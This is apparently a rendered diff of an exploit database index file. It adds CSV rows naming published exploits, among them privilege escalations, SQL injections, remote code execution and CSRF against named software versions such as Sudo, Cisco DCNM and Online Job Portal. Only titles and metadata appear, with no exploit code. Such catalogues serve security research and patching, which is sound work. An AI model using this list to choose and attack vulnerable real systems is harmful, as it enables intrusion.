4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris,
|
||||
12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux,
|
||||
|
@ -10928,6 +10936,7 @@ id,file,description,date,author,type,platform,port
|
|||
47995,exploits/linux/local/47995.txt,"Sudo 1.8.25p - Buffer Overflow",2020-02-04,"Joe Vennix",local,linux,
|
||||
47999,exploits/linux/local/47999.txt,"Socat 1.7.3.4 - Heap-Based Overflow (PoC)",2020-02-05,hieubl,local,linux,
|
||||
48000,exploits/linux/local/48000.sh,"xglance-bin 11.00 - Privilege Escalation",2020-02-05,redtimmysec,local,linux,
|
||||
48009,exploits/windows/local/48009.txt,"ELAN Smart-Pad 11.10.15.1 - 'ETDService' Unquoted Service Path",2020-02-06,ZwX,local,windows,
|
||||
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
|
||||
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
|
||||
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
|
||||
|
@ -42300,3 +42309,10 @@ id,file,description,date,author,type,platform,port
|
|||
48001,exploits/java/webapps/48001.py,"Kronos WebTA 4.0 - Authenticated Remote Privilege Escalation",2020-02-05,nxkennedy,webapps,java,
|
||||
48002,exploits/json/webapps/48002.py,"Verodin Director Web Console 3.5.4.0 - Remote Authenticated Password Disclosure (PoC)",2020-02-05,nxkennedy,webapps,json,
|
||||
48003,exploits/json/webapps/48003.txt,"AVideo Platform 8.1 - Cross Site Request Forgery (Password Reset)",2020-02-05,"Ihsan Sencan",webapps,json,
|
||||
48007,exploits/php/webapps/48007.txt,"Online Job Portal 1.0 - 'user_email' SQL Injection",2020-02-06,"Ihsan Sencan",webapps,php,
|
||||
48012,exploits/php/webapps/48012.txt,"Online Job Portal 1.0 - Remote Code Execution",2020-02-06,"Ihsan Sencan",webapps,php,
|
||||
48016,exploits/php/webapps/48016.txt,"Online Job Portal 1.0 - Cross Site Request Forgery (Add User)",2020-02-06,"Ihsan Sencan",webapps,php,
|
||||
48017,exploits/php/webapps/48017.php,"Ecommerce Systempay 1.0 - Production KEY Brute Force",2020-02-06,live3,webapps,php,
|
||||
48018,exploits/java/webapps/48018.py,"Cisco Data Center Network Manager 11.2 - Remote Code Execution",2020-02-06,mr_me,webapps,java,
|
||||
48019,exploits/java/webapps/48019.py,"Cisco Data Center Network Manager 11.2.1 - 'getVmHostData' SQL Injection",2020-02-06,mr_me,webapps,java,
|
||||
48020,exploits/java/webapps/48020.py,"Cisco Data Center Network Manager 11.2.1 - 'LanFabricImpl' Command Injection",2020-02-06,mr_me,webapps,java,
|
||||
|
|
Can't render this file because it is too large.
|
Loading…
Add table
Reference in a new issue